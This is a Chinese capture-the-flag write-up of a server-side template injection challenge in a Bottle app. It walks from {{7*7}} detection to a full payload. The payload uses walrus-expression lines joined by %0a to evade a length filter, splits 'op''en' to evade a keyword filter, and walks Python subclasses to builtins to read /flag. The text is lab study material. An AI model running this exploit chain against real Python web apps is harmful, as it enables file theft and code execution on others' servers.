首先进入靶场

先随便输入一个123试试

这个地方将123直接回显出来,很有可能是ssti模板注入,输入{{7*7}}看看是否回显

回显49,说明确实有这个漏洞

现在知道是ssti模板注入了,下一步应该是确定模板引擎是什么

这个时候需要看题目给的信息

paython的单文件框架,去网上查很容易就能知道是bottle框架,bottle的框架用的是simpletemplate的模板引擎

知道了是什么引擎的话下一步就是需要知道这个模板引擎的语法,这些地方都是可以上网查询到的

这个模板可以在大括号中使用python表达式,那么就可以先试一试{{print(1)}}

这里并没有显示1,是答题方式出了问题吗?并不是

这个其实是在控制台输出了1

那么就正式构造继承链,先抓个包

在name参数处进行修改,以防碰到waf,应该一个一个进行测试,首先试试

{{''.__class__}}

继续测试

{{''.__class__.__base__}}

这里显示存在waf,应该是有长度限制,那么可以尝试海象表达式,因为这个题目是可以多行解析的,可以用%0a代替换行符

回显成功,现在只需要构造链子即可

payload

{{a:=''}}%0a{{b:=a.__class__}}%0a{{c:=b.__base__}}%0a{{d:=c.__subclasses__}}%0a{{e:=d()[156]}}%0a{{f:=e.__init__}}%0a{{g:=f.__globals__}}%0a{{z:='__builtins__'}}%0a{{h:=g[z]}}%0a{{i:=h['op''en']}}%0a{{x:=i("/flag")}}%0a{{y:=x.read()}}

这里需要值得注意的是156以及open

这个题目open被禁用了,需要绕过

156是因为需要找到python的内置系统函数,方便进行命令执行,这个156是需要进行爆破的,我爆破的时候靶机很容易宕机,我就用的官方payload,总之思路是这样子的

Logo

火山引擎开发者社区是火山引擎打造的AI技术生态平台,聚焦Agent与大模型开发,提供豆包系列模型(图像/视频/视觉)、智能分析与会话工具,并配套评测集、动手实验室及行业案例库。社区通过技术沙龙、挑战赛等活动促进开发者成长,新用户可领50万Tokens权益,助力构建智能应用。

更多推荐